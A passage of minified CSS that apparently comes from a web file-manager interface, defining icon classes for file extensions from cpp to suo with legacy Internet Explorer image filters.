\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none 